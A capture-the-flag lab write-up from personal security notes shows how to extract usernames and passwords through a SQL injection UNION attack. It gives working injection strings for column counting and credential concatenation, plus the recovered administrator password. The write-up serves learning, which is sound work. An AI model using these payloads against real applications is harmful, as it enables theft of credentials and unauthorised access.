👨‍💻
Jawad's Notes
  • 👨‍🏫INFOSEC
    • 🕸️Web
      • Burp Suite: Setting Foxyproxy
      • XSS
      • Wappalyzer
      • Directory Traversal
      • LFI
        • PHP Wrappers
        • RFI
      • Reverse Shell
        • Command Injection Quick Tips
      • File Upload
      • WPScan
      • SQL Injection
        • Schemas
        • SQLmap
        • MSSQL
        • MySQL
        • PostgreSQL
    • 🔧Tools
      • Whois
      • DNSRecon
      • DNSenum
      • nslookup
      • Netcat
        • Powercat
      • Nmap
        • Nmap Scripting Engine
        • Test-NetConnection
        • Grep
      • Server Message Block (SMB)
      • SNMP
      • SMTP
      • ExifTool
      • Search Engine Hacking
      • Source Control Hacking
      • Nessus
      • Canarytokens
      • Qualys SSL Server Test
      • Security Headers
      • theHarvester
      • Shodan
      • Gobuster
        • Dirb
      • Searchsploit
      • Password Cracking
        • Hashcat
        • John The Ripper
        • Hydra
        • hashID
        • CPU vs GPU
    • 🐧Linux
      • Symbols
      • cat
      • curl
      • openvpn
      • tcpdump
      • Remote Desktop
      • SmbShare
      • Tmux
      • Convert Windows-style line endings (CRLF) to Unix-style (LF)
      • SSH
    • 🖥️Macros in Office
    • 🍎Enhancing Your MacOS Terminal Experience
    • 🚩CTF
      • SQL Injection
        • WHERE clause allowing retrieval of hidden data
        • Allowing login bypass
        • UNION attack, determining the number of columns returned by the query
        • UNION attack, finding a column containing text
        • UNION attack, retrieving data from other tables
        • UNION attack, retrieving multiple values in a single column
        • Querying the database type and version on Oracle
Powered by GitBook
On this page
  • Description
  • Steps
  1. INFOSEC
  2. CTF
  3. SQL Injection

UNION attack, retrieving multiple values in a single column

PreviousUNION attack, retrieving data from other tablesNextQuerying the database type and version on Oracle

Last updated 1 year ago

Lab:

Description

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

Steps

First, we know there are only 2 columns and not 3, since category=Pets' ORDER BY 2-- doesn’t return an error, but category=Pets' ORDER BY 3-- does.

We also know that the returned columns are an Integer and a String, since the following query works without any errors: category=Pets' UNION SELECT 1, 'a'--

Therefore, we need to extract the username and password columns, which are usually two separate columns of data type String, from a single column.

You can concatenate multiple strings together to create a single string, using the syntax provided below:

Database
Syntax

Oracle

'foo'\|'bar'

Microsoft

'foo'+'bar'

PostgreSQL

'foo'\|'bar'

MySQL

'foo' 'bar' Note the space between the two strings CONCAT('foo','bar')

Based on this, let’s concatenate the username and password and separate them with a ~, using the following injection: category=Pets' UNION SELECT NULL, username || '~' || password FROM users--

Et voilà! The returned string is administrator~f286lusiqzjnv720jo3k. Let’s test it out:

and it’s solved!

👨‍🏫
🚩
SQL injection UNION attack, retrieving multiple values in a single column